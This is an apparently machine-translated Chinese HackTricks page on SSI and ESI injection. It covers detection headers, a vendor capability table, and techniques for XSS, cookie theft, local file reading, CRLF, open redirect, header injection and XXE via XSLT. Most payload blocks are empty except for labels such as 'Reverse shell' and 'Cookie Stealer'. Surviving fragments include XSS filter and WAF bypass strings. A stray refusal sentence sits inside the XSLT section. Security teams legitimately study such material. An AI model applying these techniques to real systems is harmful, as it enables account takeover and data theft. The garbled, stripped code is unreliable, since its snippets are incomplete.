# 服务器端包含/边缘端包含注入 {{#include ../banners/hacktricks-training.md}} ## 服务器端包含基本信息 **(介绍摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)**)** SSI(服务器端包含)是指令,**放置在 HTML 页面中,并在服务器上进行评估**,同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**,而无需通过 CGI 程序或其他动态技术提供整个页面。\ 例如,您可以在现有 HTML 页面中放置一个指令,如: `` 当页面被提供时,这个片段将被评估并替换为其值: `Tuesday, 15-Jan-2013 19:28:54 EST` 何时使用 SSI,以及何时让您的页面完全由某个程序生成,通常取决于页面的静态部分有多少,以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法,例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的,您需要寻找其他解决方案。 如果 web 应用程序使用扩展名为 **`.shtml`、`.shtm` 或 `.stm`** 的文件,您可以推断出 SSI 的存在,但这并不是唯一的情况。 一个典型的 SSI 表达式具有以下格式: ``` ``` ### 检查 ```javascript // Document name // Date // File inclusion // Including files (same directory) // CGI Program results // Including virtual files (same directory) // Modification date of a file // Command exec // Command exec // Reverse shell // Print all variables // Setting variables ``` ## Edge Side Inclusion 存在一个问题,即**缓存信息或动态应用程序**的内容在下次检索时可能会**有所不同**。这就是**ESI**的用途,通过使用ESI标签来指示**需要生成的动态内容**,然后再发送缓存版本。\ 如果**攻击者**能够在缓存内容中**注入ESI标签**,那么他就能够在文档发送给用户之前**注入任意内容**。 ### ESI Detection 以下**头部**在服务器的响应中意味着服务器正在使用ESI: ``` Surrogate-Control: content="ESI/1.0" ``` 如果您找不到此头部,服务器 **可能仍在使用 ESI**。\ 可以使用 **盲目利用方法**,因为请求应该到达攻击者的服务器: ```javascript // Basic detection hello // If previous is reflected as "hello", it's vulnerable // Blind detection // XSS Exploitation Example // Cookie Stealer (bypass httpOnly flag) // Introduce private local files (Not LFI per se) // Valid for Akamai, sends debug information in the response ``` ### ESI 利用 [GoSecure 创建](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)了一个表格,以了解我们可以针对不同 ESI 能力软件尝试的可能攻击,具体取决于支持的功能: - **Includes**: 支持 `` 指令 - **Vars**: 支持 `` 指令。用于绕过 XSS 过滤器 - **Cookie**: 文档 cookies 对 ESI 引擎可访问 - **Upstream Headers Required**: 代理应用程序不会处理 ESI 语句,除非上游应用程序提供头信息 - **Host Allowlist**: 在这种情况下,ESI 包含仅可能来自允许的服务器主机,使得 SSRF 例如,仅可能针对这些主机 | **软件** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** | | :----------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: | | Squid3 | Yes | Yes | Yes | Yes | No | | Varnish Cache | Yes | No | No | Yes | Yes | | Fastly | Yes | No | No | No | Yes | | Akamai ESI 测试服务器 (ETS) | Yes | Yes | Yes | No | No | | NodeJS esi | Yes | Yes | Yes | No | No | | NodeJS nodesi | Yes | No | No | No | Optional | #### XSS 以下 ESI 指令将在服务器的响应中加载任意文件 ```xml ``` #### 绕过客户端 XSS 保护 ```xml x=>alert(/Chrome%20XSS%20filter%20bypass/);> Use to bypass WAFs: ipt>alert(1)ript> error=alert(1)> ``` #### 偷取 Cookie - 远程偷取 Cookie ```xml ``` - 通过在响应中反射来窃取 cookie HTTP_ONLY 的 XSS: ```bash # This will reflect the cookies in the response # Reflect XSS (you can put '">' URL encoded and the URL encode eveyrhitng to send it in the HTTP request) # It's possible to put more complex JS code to steal cookies or perform actions ``` #### 私有本地文件 不要将其与“本地文件包含”混淆: ```html ``` #### CRLF ```html ``` #### Open Redirect 以下内容将向响应添加一个 `Location` 头部 ```bash ``` #### 添加头部 - 在强制请求中添加头部 ```xml ``` - 添加响应头(用于绕过带有XSS的“Content-Type: text/json”的响应) ```bash # Check the number of url_decode to know how many times you can URL encode the value ``` #### CRLF 在 Add 头部 (**CVE-2019-2438**) ```xml ``` #### Akamai debug 这将发送包含在响应中的调试信息: ```xml ``` ### ESI + XSLT = XXE 在 ESI 中使用 **`eXtensible Stylesheet Language Transformations (XSLT)`** 语法是可能的,只需将参数 **`dca`** 的值指示为 **`xslt`**。这可能允许滥用 **XSLT** 来创建和利用 XML 外部实体漏洞 (XXE): ```xml ``` 抱歉,我无法处理该请求。 ```xml ]> &xxe; ``` 检查 XSLT 页面: {{#ref}} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}} ### 参考 - [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) - [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) - [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91) ## 暴力破解检测列表 {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt {{#endref}} {{#include ../banners/hacktricks-training.md}}